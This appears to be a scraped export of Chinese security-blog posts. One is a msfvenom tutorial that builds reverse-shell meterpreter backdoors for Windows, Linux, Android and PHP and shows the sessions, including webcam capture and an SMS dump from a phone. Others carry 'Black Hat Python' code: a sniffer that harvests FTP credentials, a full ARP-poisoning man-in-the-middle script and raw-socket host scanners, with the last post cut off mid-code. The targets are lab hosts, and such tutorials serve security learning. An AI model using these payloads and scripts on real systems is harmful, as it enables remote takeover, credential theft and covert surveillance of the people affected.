这里对市面上主流的操作系统与脚本语言进行实验，这里因为博主实在穷买不起水果电脑，这里MAC的实验直接跳过。\nWindows： # win7（靶机）：192.168.1.106\nKali（攻击机）：192.168.1.102\n首先在Kali里面生成基于windows系统的木马：\nroot@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe \u0026gt; shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes root@kali:~# 使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：\nmsf5 \u0026gt; use exploit/multi/ Display all 340 possibilities? (y or n) msf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload windows/meterpreter/reverse_tcp payload =\u0026gt; windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.1.102 LHOST =\u0026gt; 192.168.1.102 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 将后门上传到靶机中并双击运行：\n我们回到kali发现已经得到靶机meterpreter的shell了：\nmsf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Sending stage (176195 bytes) to 192.168.1.106 [*] Meterpreter session 3 opened (192.168.1.102:4444 -\u0026gt; 192.168.1.106:49164) at 2020-10-01 14:09:34 +0800 meterpreter \u0026gt; getuid Server username: WY-PC\\WY meterpreter \u0026gt; Linux： # CentOS7（靶机）：192.168.1.103\nKali（攻击机）：192.168.1.102\n首先在Kali里面生成基于Linux系统的木马：\nroot@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf \u0026gt; shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 123 bytes Final size of elf file: 207 bytes root@kali:~# 使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload linux/x86/meterpreter/reverse_tcppayload =\u0026gt; linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.1.102 LHOST =\u0026gt; 192.168.1.102 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 将后门上传到靶机中并./运行：\n[root@localhost ~]# chmod 777 shell.elf [root@localhost ~]# ./shell.elf \u0026amp; [1] 2746 [root@localhost ~]# ps -ef |grep shell.elf root 2746 2504 0 14:22 pts/0 00:00:00 ./shell.elf root 2754 2504 0 14:23 pts/0 00:00:00 grep --color=auto shell.elf [root@localhost ~]# 我们回到kali发现已经得到靶机meterpreter的shell了：\nmsf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Sending stage (980808 bytes) to 192.168.1.103 [*] Meterpreter session 2 opened (192.168.1.102:4444 -\u0026gt; 192.168.1.103:55342) at 2020-10-01 14:22:57 +0800 meterpreter \u0026gt; getuid Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) meterpreter \u0026gt; Android： # MI8（手机）：192.168.1.104\nKali（攻击机）：192.168.1.102\n首先在Kali里面生成基于Android系统的木马：\nroot@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 R \u0026gt; shell.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10187 bytes root@kali:~# 使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload android/meterpreter/reverse_tcp payload =\u0026gt; android/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.1.102 LHOST =\u0026gt; 192.168.1.102 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 将后门安装到手机并点击运行：\n我们回到kali发现已经得到靶机meterpreter的shell了：\nmsf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Sending stage (73808 bytes) to 192.168.1.104 [*] Meterpreter session 1 opened (192.168.1.102:4444 -\u0026gt; 192.168.1.104:38078) at 2020-10-01 14:39:51 +0800 meterpreter \u0026gt; sysinfo Computer : localhost OS : Android 10 - Linux 4.\u0026lt;...\u0026gt; Meterpreter : dalvik/android meterpreter \u0026gt; 拓展：\n扫描手机摄像头(这里又两个摄像头前置和后置)： # meterpreter \u0026gt; webcam_list 1: Back Camera 2: Front Camera 打开手机摄像头： # meterpreter \u0026gt; webcam_stream [*] Starting... [*] Preparing player... [*] Opening player at: /root/ohFWZoub.html [*] Streaming... [-] webcam_start: Operation failed: 1 meterpreter \u0026gt; Sandbox: unsupported fd-relative fstatat(31, \u0026#34;\u0026#34;, 0x7FFE461BC470, 4096) Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645616 4096 4096 1. Sandbox: unsupported fd-relative fstatat(31, \u0026#34;\u0026#34;, 0x7FFE461BC370, 4096) Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1. Sandbox: unsupported fd-relative fstatat(31, \u0026#34;\u0026#34;, 0x7FFE461BC370, 4096) Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, \u0026#34;\u0026#34;, 0x7FFCFB734980, 4096) Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122816 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, \u0026#34;\u0026#34;, 0x7FFCFB734880, 4096) Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, \u0026#34;\u0026#34;, 0x7FFCFB734880, 4096) Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, \u0026#34;\u0026#34;, 0x7FFFD2AA0540, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745856 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, \u0026#34;\u0026#34;, 0x7FFFD2AA0440, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, \u0026#34;\u0026#34;, 0x7FFFD2AA0440, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096 4096 1. 这里报很多错，不明所以，可能是因为mi8安全性太高了无法调用摄像头吧（雷军记得打钱\n隐秘拍照（这里mi8会有询问是否调用摄像头，这里实验点击是就行了）： # meterpreter \u0026gt; webcam_snap [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/KzQqTroL.jpeg 不得不说小米对于安全的把控还是可以的\n导出电话号码与短信： # meterpreter \u0026gt; dump_contacts [*] No contacts were found! meterpreter \u0026gt; dump_sms [*] Fetching 243 sms messages [*] SMS messages saved to: sms_dump_20201001145514.txt 这里不知道为啥电话簿没有导出来，不过短信导出来了，不过这里也需要授权\nPHP： # CentOS7（靶机）：192.168.1.103\n------PHP : 5.4.16\r------Apache： 2.4.6\rKali（攻击机）：192.168.1.102\n首先在Kali里面生成基于php脚本语言的木马：\nroot@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f raw \u0026gt; shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 30689 bytes root@kali:~# 使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload php/meterpreter_reverse_tcp payload =\u0026gt; php/meterpreter_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.1.102 LHOST =\u0026gt; 192.168.1.102 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 将木马上传到靶机网站站点中并使用浏览器访问该页面：\n访问之前注意要更改木马页面权限chmod 777 shell.php\n我们回到kali发现已经得到靶机meterpreter的shell了：\nmsf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Meterpreter session 1 opened (192.168.1.102:4444 -\u0026gt; 192.168.1.103:40810) at 2020-10-01 15:20:21 +0800 meterpreter \u0026gt; getuid Server username: root (0) 特此声明： # 此文章仅供学术交流，请勿用于任何非法用途。\n","date":"2020-10-01","externalUrl":null,"permalink":"/posts/msfvenom%E7%94%9F%E6%88%90%E5%90%8E%E9%97%A8%E5%8F%8A%E8%BF%90%E7%94%A8/","section":"文章","summary":"Msfvenom生成后门及运用 # 本篇文章将会使用msfvenom来创建木马，然后通过msfconsole中的expoit/multi/handler来反弹靶机shell。\n后门的生成： # 首先通过各种操作系统，脚本语言来生成后门： 常用参数说明：\n","title":"Msfvenom生成后门及运用","type":"posts"},{"content":" 第四章 Scapy: 网络的掌控者 # 窃取Email认证 # 在我们敲写这一段程序之前我们需要知道scapy是不支持Windows操作系统的，所以此章节所有的脚本都必须在Linux系统上面运行，接下来我们简单了解下嗅探器sniff()方法：\nfrom scapy.all import * sniff(filter=\u0026#34;\u0026#34;, iface=\u0026#34;any\u0026#34;, prn=function, count=N) filter参数允许我们筛选嗅探的数据包，留空则是嗅探所有数据包,具体过滤规则与wireshark相同。 iface参数设置嗅探器索要嗅探的网卡，留空则是对所有的网卡进行嗅探。 prn参数指定嗅探到符合过滤器条件的数据包时所调用的回调函数，这个回调函数以接受到的数据包对象作为唯一参数。 count参数指定你需要嗅探的数据包的个数。 了解了sniff()函数后我们简单的使用一下他：\nfrom scapy.all import * # 数据包回调函数 def packet_callback(packet): print packet.show() # 开启嗅探器 sniff(prn=packet_callback, count=1) 这里我们先定义了一个回调函数用于接受数据包，然后将接受到的数据包信息打印出来： 现在我们了解了sniff()函数的使用方法后，我们可以回到主题，敲写窃取Email认证的代码，由于 现在的邮箱都是通过SSL加密的，所以无法重现书本上的效果，这里我用窃取ftp账号密码的方式进行测试：\n# 脚本只能在linux系统运行 from scapy.all import * # 数据包回调函数 def packet_callback(packet): # 判断数据包在TCP层是否有负载(数据) if packet[TCP].payload: ftp_pack = str(packet[TCP].payload) # 检查数据中是否含有user，pass字符串 if \u0026#34;user\u0026#34; in ftp_pack.lower() or \u0026#34;pass\u0026#34; in ftp_pack.lower(): print(\u0026#34;[*] Server: %s\u0026#34; % packet[IP].dst) print(\u0026#34;[*] %s\u0026#34; % packet[TCP].payload) # sniff函数 嗅探数据包 # filter 过滤器， iface 选择网卡， prn 回调函数， count数据包个数， store=0不在内存中保存原始数据包 sniff(filter=\u0026#34;tcp port 21\u0026#34;, prn=packet_callback, store=0) 在回调函数中，我们首先判断数据包的tcp层是否有数据，然后检查数据中是否包含user，pass等重要字符串，然后将服务器ip与过滤好的数据打印出来，效果如下： 利用Scapy进行ARP缓存投毒 # 在敲代码之前，我们首先要理解ARP协议的原理，老方法贴链接https://blog.csdn.net/jiejiemcu/article/details/88406088 还要理解ARP攻击的原理： https://blog.csdn.net/vaeloverforever/article/details/84504876 下面这串代码的功能是双向欺骗网关与某台主机，形成一个中间人的形式，网关与主机中传输的所有数据都会经过自己。\nfrom scapy.all import * import os import sys import threading import signal interface = \u0026#34;eth0\u0026#34; # 网卡 target_ip = \u0026#34;192.168.200.46\u0026#34; # 被欺骗主机的IP gateway_ip = \u0026#34;192.168.200.1\u0026#34; # 网关 packet_count = 1000 # 发送数据包次数 poisoning = True # 是否进行投毒 # 定义重置网络函数，当ARP投毒结束后，还原网络状态 def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): # 以下代码中调用send函数的方式稍有不同 print(\u0026#34;[*] Restoring target...\u0026#34;) # 首先使用ARP()构造arp数据包，op=2 表示这是ARP应答包，psrc，pdst表源IP与目的IP，hwdst，hwsrc表源目mac，最后使用send方法发送构造好的ARP应答包count=5表发送5次 send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst=\u0026#34;ff:ff:ff:ff:ff:ff\u0026#34;, hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst=\u0026#34;ff:ff:ff:ff:ff:ff\u0026#34;, hwsrc=target_mac), count=5) # 发送退出信号到主进程 os.kill(os.getpid(), signal.SIGINT) # 定义获取MAC函数,用于获取被欺骗主机与网关的MAC地址 def get_mac(ip_address): response, unanswered = srp(Ether(dst=\u0026#34;ff:ff:ff:ff:ff:ff\u0026#34;)/ARP(pdst=ip_address), timeout=2, retry=10) # 返回从响应数据中获取的MAC地址 for s, r in response: return r[Ether].src return None # 定义投毒函数，对网关与主机进行欺骗 def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): global poisoning poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print(\u0026#34;[*] Beginning the ARP poison. [CTRL-C to stop]\u0026#34;) while poisoning: send(poison_target) send(poison_gateway) time.sleep(2) print(\u0026#34;[*] ARP poison attack finished.\u0026#34;) return # 设置嗅探的网卡 # conf是在scapy库中声明的一个Conf类，在config.py中 conf.iface = interface # verb:详细级别，从0到3，越高越详细 # 关闭输出 conf.verb = 0 print(\u0026#34;[*] Setting up %s\u0026#34; % interface) gateway_mac = get_mac(gateway_ip) # 判断是否获得网关MAC if gateway_mac is None: print(\u0026#34;[!!!] Failed to get gateway MAC. Exiting.\u0026#34;) sys.exit(0) else: print(\u0026#34;[*] Gateway %s is at %s\u0026#34; % (gateway_ip, gateway_mac)) target_mac = get_mac(target_ip) # 判断是否获得被欺骗主机MAC if target_mac is None: print(\u0026#34;[!!!] Failed to get target MAC. Exiting.\u0026#34;) sys.exit(0) else: print(\u0026#34;[*] Target %s is at %s\u0026#34; % (target_ip, target_mac)) # 启动ARP投毒线程 poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac)) poison_thread.start() # 开启嗅探器，捕捉相关数据包，将结果保存到PCAP文件中，该文件可以用wires hark工具更直观的观看数据包信息 try: print(\u0026#34;[*] Starting sniffer for %d packets\u0026#34; % packet_count) bpf_filter = \u0026#34;ip host %s\u0026#34; % target_ip # BPF过滤规则 packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) except KeyboardInterrupt: pass finally: # 写出捕获的数据包 print(\u0026#34;[*] Writing packets to arper.pcap\u0026#34;) wrpcap(\u0026#34;arper.pcap\u0026#34;, packets) # 停止投毒 poisoning = False # 等待正在投毒的线程退出 poison_thread.join() # 恢复网络 restore_target(gateway_ip, gateway_mac, target_ip, target_mac) sys.exit(0) 示例中首先定义网卡，主机，网关等信息，根据所设置的IP信息利用定义的函数get_mac()获得相应的MAC地址，获得到相应的MAC地址后，启动投毒线程，投毒函数poison_target()对网关及主机进行欺骗。在主线程中，我们开启嗅探器，捕捉关于主机的数据包，并将结果保存到PCAP文件中。退出程序后，restore_target()函数会将网络状态重置。 下面就是程序执行后的结果： ","date":"2020-09-03","externalUrl":null,"permalink":"/posts/%E7%AC%AC%E5%9B%9B%E7%AB%A0-scapy-%E7%BD%91%E7%BB%9C%E7%9A%84%E6%8E%8C%E6%8E%A7%E8%80%85/","section":"文章","summary":"第四章 Scapy: 网络的掌控者 # 窃取Email认证 # 在我们敲写这一段程序之前我们需要知道scapy是不支持Windows操作系统的，所以此章节所有的脚本都必须在Linux系统上面运行，接下来我们简单了解下嗅探器sniff()方法：\n","title":"《Python黑帽子》python3代码实现(第四章)","type":"posts"},{"content":" 第三章 网络：原始套接字和流量嗅探 # Windows上和Linux上的包嗅探 # 在示例中，我们首先导入socket与os模块，根据os.name判断主机操作系统，该变量属性当前只注册了三个值，具体如下：\nposix nt java Linux Windows Java虚拟机 根据操作系统创建原始套接字，这里因为Linux系统只能嗅探到ICMP的数据包，所以这里创建的是基于ICMP包的原始套接字IPPROTO_ICMP，但windows可以嗅探到所有IP数据包IPPROTO_IP，所以这里需要使用os.name对主机操作系统进行判断，然后使用原始套接字构造IP头socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_IP)，使用bind()方法对网卡进行监听，这里ICMP包是不具备端口号的，所以端口号为0，然后使用setsockopt()方法设置在捕获的数据包中包含IP头，如果操作系统为windows的话，这里需要使用ioctl()方法开启网卡混杂模式，然后使用recvfrom()方法读取单个数据库，用if语句对操作系统再次判断，如为windows则关闭网卡混杂模式。 import socket import os # 监听的网卡 0.0.0.0表示所有网卡 host = \u0026#34;172.16.1.7\u0026#34; # 创建一个原始套接字（RAW Socket），然后绑定到公开接口上 if os.name == \u0026#34;nt\u0026#34;: # Mac的os.name==posix socket_protocol = socket.IPPROTO_IP else: socket_protocol = socket.IPPROTO_ICMP # Windows和Linux的区别是Windows允许我们嗅探所有协议的所有数据包，但Linux只能嗅探到ICMP数据。 # 使用原始套接字用于构造IP头 sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) # 对网卡进行监听，由于ICMP包是不具备端口号的，所以端口填什么都可以，你可以try一try # 设置在捕获的数据包中包含IP头 sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 在Windows平台上，需要设置IOCTL以启动混杂模式，以允许我们嗅探网卡上经过的所有数据包（即使数据的目的地址不是本机） if os.name == \u0026#34;nt\u0026#34;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) # 读取单个数据包 print(sniffer.recvfrom(65535)) # 在Windows平台上关闭混杂模式 if os.name == \u0026#34;nt\u0026#34;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 下面是执行代码得到的结果： 解码IP层 # 在理解代码之前，我们首先得要理解IP头结构： 详情可以参考https://www.cnblogs.com/jacklikedogs/articles/3848263.html 理解完IP头结构之后，我们先直接看看代码：\nimport socket import os import struct from ctypes import * # 监听的主机IP host = \u0026#34;172.16.1.7\u0026#34; # IP头定义 class IP(Structure): _fields_ = [ (\u0026#39;ihl\u0026#39;, c_ubyte, 4), # 头长度ip header length (\u0026#39;version\u0026#39;, c_ubyte, 4), # 版本 (\u0026#39;tos\u0026#39;, c_ubyte), # 服务类型 (\u0026#39;len\u0026#39;, c_ushort), # ip数据包总长度 (\u0026#39;id\u0026#39;, c_ushort), # 标识符 (\u0026#39;offset\u0026#39;, c_ushort), # 片偏移 (\u0026#39;ttl\u0026#39;, c_ubyte), # 生存时间 (\u0026#39;protocol_num\u0026#39;, c_ubyte), # 协议数字(协议类型)，数字代表协议，下面有代码甚至映射表 (\u0026#39;sum\u0026#39;, c_ushort), # 头部校验和 (\u0026#39;src\u0026#39;, c_ulong), # 源IP linux系统下需要将类型改为c_uint32 (\u0026#39;dst\u0026#39;, c_ulong) # 目的IP 同上 ] def __new__(cls, socket_buffer=None): # new()方法是在类准备将自身实例化时调用,将原始缓冲区中的数据填充到结构中 return cls.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer=None): # 协议字段与协议名称对应 self.protocol_map = {1: \u0026#39;ICMP\u0026#39;, 6: \u0026#39;TCP\u0026#39;, 17: \u0026#39;UDP\u0026#39;} # 可读性更强的IP地址 self.src_address = socket.inet_ntoa(struct.pack(\u0026#34;\u0026lt;L\u0026#34;, self.src)) # struct.pack()将数据解码为\u0026#34;\u0026lt;\u0026#34;小端，\u0026#34;L\u0026#34;无符号长型 self.dst_address = socket.inet_ntoa(struct.pack(\u0026#34;\u0026lt;L\u0026#34;, self.dst)) # inet_ntoa() 将32bit数值转换为IP地址 # 匹配协议类型 try: self.protocol = self.protocol_map[self.protocol_num] except: self.protocol = str(self.protocol_num) if os.name == \u0026#39;nt\u0026#39;: socket_protocol = 0 else: socket_protocol = 1 sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) if os.name == \u0026#39;nt\u0026#39;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) try: while True: # 读取数据包 raw_buffer = sniffer.recvfrom(65565)[0] # print(raw_buffer[0:20]) # 将缓冲区的前20个字节按IP头进行解析 ip_header = IP(raw_buffer[0:20]) # 输出协议和通信双方的IP地址 print(\u0026#34;protocol: %s %s -\u0026gt; %s\u0026#34; % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) # 处理ctrl+c except KeyboardInterrupt: if os.name == \u0026#39;nt\u0026#39;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 示例中添加了对数据包解码，首先定义IP类，使用__new__()方法，当自身实例化时将原始缓冲区中的数据填充到我们刚刚定义的C结构体中，然后使用__init__()方法使数据可视化，最后使用前面示例用到的代码抓取数据包，得到数据包后将前20字节的数据导入结构体中进行初始化，然后输出数据包的信息。 这里__new__()方法和__init__()方法的区别这篇文章就写的非常好： https://blog.csdn.net/qq_36624456/article/details/98240234 下面是执行代码得到的结果： 解码ICMP # 在理解代码之前，我们还是先看看ICMP包的结构： 这里因为各种状态的报文结构不一样，就把目的不可达报文单独拎出来，详细可以看下面这篇文章： https://www.cnblogs.com/scrat/archive/2012/08/02/2620163.html 接下来贴上代码：\nimport threading import socket import os import struct from ctypes import * import time from netaddr import IPNetwork, IPAddress host = \u0026#34;172.16.1.7\u0026#34; # 目标网段 subnet = \u0026#34;172.16.1.0/24\u0026#34; # 自定义字段，用于辨别收到的包是否是响应我们的UDP请求 magic_message = b\u0026#39;PYTHONRULES!\u0026#39; class IP(Structure): _fields_ = [ (\u0026#39;ihl\u0026#39;, c_ubyte, 4), (\u0026#39;version\u0026#39;, c_ubyte, 4), (\u0026#39;tos\u0026#39;, c_ubyte), (\u0026#39;len\u0026#39;, c_ushort), (\u0026#39;id\u0026#39;, c_ushort), (\u0026#39;offset\u0026#39;, c_ushort), (\u0026#39;ttl\u0026#39;, c_ubyte), (\u0026#39;protocol_num\u0026#39;, c_ubyte), (\u0026#39;sum\u0026#39;, c_ushort), (\u0026#39;src\u0026#39;, c_ulong), (\u0026#39;dst\u0026#39;, c_ulong) ] def __new__(cls, socket_buffer=None): return cls.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer=None): self.protocol_map = {1: \u0026#39;ICMP\u0026#39;, 6: \u0026#39;TCP\u0026#39;, 17: \u0026#39;UDP\u0026#39;} self.src_address = socket.inet_ntoa(struct.pack(\u0026#34;\u0026lt;L\u0026#34;, self.src)) self.dst_address = socket.inet_ntoa(struct.pack(\u0026#34;\u0026lt;L\u0026#34;, self.dst)) try: self.protocol = self.protocol_map[self.protocol_num] except: self.protocol = str(self.protocol_num) # ICMP包头定义 class ICMP(Structure): _fields_ = [ (\u0026#34;type\u0026#34;, c_ubyte), # 类型 (\u0026#34;code\u0026#34;, c_ubyte), # 代码值 (\u0026#34;checksum\u0026#34;, c_ushort), # 头部校验和 (\u0026#34;unused\u0026#34;, c_ushort), # 未使用 (\u0026#34;next_hop_mtu\u0026#34;, c_ushort) # 下一跳的MTU ] def __new__(cls, socket_buffer=None): return cls.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer=None): pass # 批量发送UDP请求包 def udp_sender(subnet, magic_message): time.sleep(2) sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for ip in IPNetwork(subnet): try: # 设置端口为大于1023的端口号，尽量使用不常用端口 sender.sendto(magic_message, (str(ip), 65212)) except: pass if os.name == \u0026#39;nt\u0026#39;: socket_protocol = socket.IPPROTO_IP else: socket_protocol = socket.IPPROTO_ICMP sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) if os.name == \u0026#39;nt\u0026#39;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) # 启用多线程发送UDP请求包 t = threading.Thread(target=udp_sender, args=(subnet, magic_message, )) t.start() try: while True: raw_buffer = sniffer.recvfrom(65535)[0] ip_header = IP(raw_buffer[0:20]) # print(\u0026#34;protocol: %s %s -\u0026gt; %s\u0026#34; % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) # 如果协议为ICMP，则进行下一步处理 if ip_header.protocol == \u0026#39;ICMP\u0026#39;: # 计算真实IP头长度 --\u0026gt; 计算公式：ihl（4位二进制换算十进制） * 4 = ip头长度（字节） offset = ip_header.ihl * 4 buf = raw_buffer[offset:offset + sizeof(ICMP)] # 结构ICMP头数据 icmp_header = ICMP(buf) # print(\u0026#34;ICMP -\u0026gt; Type: %d Code: %d\u0026#34; % (icmp_header.type, icmp_header.code)) # 收到检查类型为3，代码为3的ICMP包则说明目标主机存在 if icmp_header.type == 3 and icmp_header.code == 3: # 确认响应的主机在我们的目标子网内 if IPAddress(ip_header.src_address) in IPNetwork(subnet): # 确认ICMP数据中包含我们发送的自定义字符串 if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message: print(\u0026#34;Host Up: %s\u0026#34; % ip_header.src_address) except KeyboardInterrupt: if os.name == \u0026#39;nt\u0026#39;: sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 示例中大部分代码跟之前相同，这里增加了netaddr模块，定义了udp_sender()函数对某个定义的网段发送udp数据包。然后在主函数内开启多线程，再把接受到的所有数据包进行筛选过滤，最后就可以得到存活主机的名单。 下面就是程序运行的结果： 【本章完结】 # 第二章 网络基础 传送门：https://blog.csdn.net/qq_40549070/article/details/108193537\n","date":"2020-09-02","externalUrl":null,"permalink":"/posts/%E7%AC%AC%E4%B8%89%E7%AB%A0-%E7%BD%91%E7%BB%9C%E5%8E%9F%E5%A7%8B%E5%A5%97%E6%8E%A5%E5%AD%97%E5%92%8C%E6%B5%81%E9%87%8F%E5%97%85%E6%8E%A2/","section":"文章","summary":"第三章 网络：原始套接字和流量嗅探 # Windows上和Linux上的包嗅探 # 在示例中，我们首先导入socket与os模块，根据os.name判断主机操作系统，该变量属性当前只注册了三个值，具体如下：\n","title":"《Python黑帽子》python3代码实现(第三章)","type":"posts"},{"content":" 《Python黑帽子》代码实现 # 本篇笔记全部用python3实现，本人大一在校生第一次写博客，有错误之处希望大家积极指出。 参考大佬博客： https://www.cnblogs.com/zhangyuxiang666/p/11010581.html https://blog.csdn.net/qq_39038028/article/details/72860112\n第二章 网络基础: # 创建Tcp客户端（tcpClient.py): # 示例中引用了首先导入socket模块，使用socket()方法来创建套接字并实例化对象，AF_INET表明IPv4地址，SOCK_STREAM表明是关于TCP套接字，然后使用connect()方法连接tcp服务端，使用send()和recv()方法来发送和接受数据，这里需要注意的是python3套接字的传输需要将数据转为byte的形式，使数据可视化又需要解码为str，这里是简单的构造了一个http请求。\n# 导入socket模块 import socket target_host = \u0026#34;www.baidu.com\u0026#34; target_port = 80 # 建立一个socket对象 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接客户端 client.connect((target_host, target_port)) # 发送数据 client.send(b\u0026#34;GET / HTTP/1.1\\r\\nHost: baidu.com\\r\\n\\r\\n\u0026#34;) # 接受数据 response = client.recv(1024) print(response.decode(\u0026#39;utf-8\u0026#39;)) 运行结果是收到了www.baidu.com的响应。\n创建UDP客户端（udpClient.py）: # 这里udp客户端与tcp客户端区别不大，udp是传输数据是不需要建立连接的，我们只需要构建套接字对象，将类型设置为SOCK_DGRAM表明为udp套接字，然后使用sendto()和recvfrom()方法来发送与接收数据。\nimport socket target_host = \u0026#34;172.18.220.229\u0026#34; target_port = 10001 # 建立socket对象 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 发送数据 client.sendto(b\u0026#34;Hello, Server\u0026#34;, (target_host, target_port)) # 接收数据 data, addr = client.recvfrom(4096) print(data.decode(\u0026#39;utf-8\u0026#39;)) 这里使用kali中的nc工具监听10001端口，并收到了客户端所发的数据，然后服务端发送数据，客户端也成功收到。 创建TCP服务端（tcpServer.py）: # 创建tcp服务端，首先构建tcp套接字对象，然后使用bind()方法监听指定的端口，listen()方法设置最大连接数，然后使用循环并启用多线程，使用accept()方法来接受客户端连接，当客户端成功建立连接时，会将客户端套接字与客户端信息分别保存到client，addr变量中。\nimport socket import threading bind_ip = \u0026#34;127.0.0.1\u0026#34; bind_port = 10001 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip, bind_port)) server.listen(5) print(\u0026#34;[*] Listening on %s:%d\u0026#34; % (bind_ip, bind_port)) # 这是客户端处理线程 def handle_client(client_socket): # 打印出客户端发送得到内容 request = client_socket.recv(1024) print(\u0026#34;[*] Received: %s\u0026#34; % request.decode(\u0026#39;utf-8\u0026#39;)) # 返还一个数据包 client_socket.send(b\u0026#39;ACK!\u0026#39;) client_socket.close() while True: client, addr = server.accept() print(\u0026#34;[*] Accepted connection from: %s:%d\u0026#34; % (addr[0], addr[1])) # 